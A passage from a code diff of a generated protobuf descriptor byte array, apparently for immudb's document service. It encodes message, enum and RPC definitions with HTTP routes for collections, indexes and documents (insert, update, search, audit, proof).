0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, + 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb6, + 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, + 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, + 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xe6, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, + 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, + 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, + 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, + 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, + 0x08, 0x0a, 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, 0x6d, + 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, + 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, + 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, + 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, + 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xa5, 0x0e, 0x0a, 0x0f, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, + 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x47, 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x91, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, + 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x14, 0x1a, 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x63, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, + 0x78, 0x65, 0x73, 0x12, 0x7a, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x1a, + 0x0f, 0x2f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x09, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, + 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, - 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, - 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, + 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, + 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, + 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, + 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, - 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 